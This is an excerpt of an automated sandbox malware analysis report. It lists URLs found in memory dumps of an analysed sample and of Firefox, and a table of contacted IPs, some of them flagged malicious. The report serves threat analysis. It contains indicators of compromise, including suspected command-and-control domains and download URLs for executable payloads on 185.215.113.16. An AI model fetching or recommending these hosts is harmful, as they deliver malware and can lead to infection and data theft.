http://exslt.org/sets	firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286327622.000001F80F0AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/a	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://licendfilteo.site:443/api	file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://youtube.com/account?=https://ac	firefox.exe, 00000023.00000002.3207596708.00000229083D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 00000031.00000003.3268210586.000001F87F462000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/promo	file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/o	3f779c1cca.exe, 0000000B.00000003.2977879833.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001609000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exed	3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection=broadcaH	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.cV	3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/apier	3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.co	3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api4T	file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/?	3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggestabout	firefox.exe, 0000001E.00000002.3212320962.0000027F67372000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/mx	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.46	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540746
